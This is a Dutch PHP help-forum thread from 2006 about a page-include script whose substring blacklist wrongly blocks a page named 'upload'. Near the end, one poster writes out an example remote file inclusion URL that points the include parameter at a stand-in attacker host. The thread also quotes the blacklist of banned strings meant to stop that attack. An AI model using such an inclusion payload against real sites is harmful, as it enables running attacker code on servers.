login  Naam:   Wachtwoord: 
Registreer je!
 Forum

paginasysteem probleem

Offline W0etah - 28/12/2006 13:36
Avatar van W0etahPHP beginner Ik gebruik het paginasysteem van hier op sitemasters

http://www.plaatscode.be/3596/

maar nu zit ik met een probleem

<li class="home"><a href="?pagina=home">Home</a></li>
<li class="upload"><a href="?pagina=upload">Uploaden</a></li>

ik heb deze 2 links, de eerste die werkt, maar bij de 2de krijg ik altijd: "ongeldige pagina opgegeven"

ik zie niet wat mis is, volgens mij komt het woordt upload niet in die array voor, doe ik nu iets fout?

21 antwoorden

Gesponsorde links
Offline Kr4nKz1n - 28/12/2006 13:37 (laatste wijziging 28/12/2006 13:39)
Avatar van Kr4nKz1n Onbekend Heel vreemd, het bestand bestaat wel?
Maar ik zie dat dat er ook niet toe doet, want die controle komt later.
Offline compudoc - 28/12/2006 13:40 (laatste wijziging 28/12/2006 13:41)
Avatar van compudoc PHP beginner dan heb je een van de volgende dingen in de bestandsnaam staan ofzo: http:-ftp:-shttp:-www.-.php-.pl-.cgi-.asp-index.php

-edit-
als je boven in het scriptje kijkt dan staat daar aangegeven in een soort 'array' wat er niet in mag staan
Offline Kr4nKz1n - 28/12/2006 13:40
Avatar van Kr4nKz1n Onbekend Nee, het is toch upload ??
Offline W0etah - 28/12/2006 13:41 (laatste wijziging 28/12/2006 13:41)
Avatar van W0etah PHP beginner het bestand noemt upload.php

de eerste link werkt toch, daar noemt het bestand home.php
Offline compudoc - 28/12/2006 13:43
Avatar van compudoc PHP beginner inderdaad een beetje raar.

en zonder die class?
Offline W0etah - 28/12/2006 13:44
Avatar van W0etah PHP beginner wat heeft die class ermee te maken?

Neej, heb ze weggedaan en werkt ook niet, met een ander woordt werkt het wel
Offline compudoc - 28/12/2006 13:47
Avatar van compudoc PHP beginner ik denk dat de naam upload gewoon niet werkt.
probeer eens upload2 ofzo want je zegt dat een andere naam wel werkt dus dan ligt het aan de naam 
Offline W0etah - 28/12/2006 13:48
Avatar van W0etah PHP beginner upload2 werkt niet, ik heb nu test gepakt en de naam van het bestand verandert en dan werkt het wel
Offline Kr4nKz1n - 28/12/2006 13:51 (laatste wijziging 28/12/2006 13:53)
Avatar van Kr4nKz1n Onbekend compudoc sorry dat ik het zeg maar jij prutst maar wat ipv serieus te antwoorden. Dat was toenstraks ook al zo over programma`s om wachtwoorden te achterhalen.

Het is dus duidelijk dat upload of een deel daarvan niet toegestaan is, daar waren we ondertussen al achter.
Nu is echter de vraag welk stukje, je kan bijv. telkens iets weg halen van de array.

-Edit-
Ik ben ook wel nieuwsgierig waarom je uberhaupt die ereg ertussen hebt.

Er wordt ook al gecontroleerd of de pagina bestaat. En daarnaast maak jij toch zelf die links aan.
Offline W0etah - 28/12/2006 13:53 (laatste wijziging 28/12/2006 13:54)
Avatar van W0etah PHP beginner het was dus dit stukje
.pl
upload

-edit-
dat script komt van hier op sima

en als iemand zelf een pagina invoerd?
index.php?pagina=test

dan zegt hij dat de pagina niet bestaat
Offline Kr4nKz1n - 28/12/2006 13:53
Avatar van Kr4nKz1n Onbekend Och natuurlijk. Zie je gewoon testen, dan kom je er vanzelf achter.

Citaat:
Ik ben ook wel nieuwsgierig waarom je uberhaupt die ereg ertussen hebt.

Er wordt ook al gecontroleerd of de pagina bestaat. En daarnaast maak jij toch zelf die links aan.
Offline W0etah - 28/12/2006 13:54
Avatar van W0etah PHP beginner dat script komt van hier op sima

en als iemand zelf een pagina invoerd?
index.php?pagina=test

dan zegt hij dat de pagina niet bestaat
Offline Kr4nKz1n - 28/12/2006 13:55
Avatar van Kr4nKz1n Onbekend Ja, dat moet toch ook?

Maar ik bedoel waarom heb je die ereg controle ertussen?
Als iemand bijv. de pagina greetje.php wilt bezoeken, zegt hij toch gewoon dat deze niet bestaat.
Offline W0etah - 28/12/2006 13:58
Avatar van W0etah PHP beginner is dat niet om te controleren of een woord van die array niet in de naam voorkomt?
Offline Kr4nKz1n - 28/12/2006 13:59
Avatar van Kr4nKz1n Onbekend Mwhua dat is waar, maar toch lijkt het mij onnodig, als een pagina bestaat wil je die bezoeken neem ik aan.
Maar s6 ermee je weet het probleem nu.
Offline Threetimes - 28/12/2006 15:48
Avatar van Threetimes PHP beginner die controle is voor dingen zoals index.php?pagina=http://www.site-met-hackscripts.nl/hackscript.php denk ik
Offline Kr4nKz1n - 28/12/2006 15:51
Avatar van Kr4nKz1n Onbekend Ja maar die pagina bestaat toch niet?
En volgens mij, als je zonder .php invoert, kan file_exists hem niet eens controleren.
Offline Threetimes - 28/12/2006 16:01 (laatste wijziging 28/12/2006 16:02)
Avatar van Threetimes PHP beginner er staat toch file_exists($_GET['pagina'].'.php')
en via index.php?pagina=http://www.site-met-hackscripts.nl/hackscript.php kan je wel een site hacken.

edit: als iemand dat zelf intypt.
Offline Kr4nKz1n - 28/12/2006 16:15
Avatar van Kr4nKz1n Onbekend Ja maar volgens mij moet die pagina wel intern zijn !! Dat bedoel ik.
Offline timo - 28/12/2006 16:16
Avatar van timo PHP ver gevorderde dan krijgt ie 99% zeker Status 404, want dan word het dit: hackscript.php.php dusz..
Offline Threetimes - 28/12/2006 17:03
Avatar van Threetimes PHP beginner klopt, het moet index.php?pagina=http://www.site-met-hackscripts.nl/hackscript zijn en dat zou wel werken.
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.178s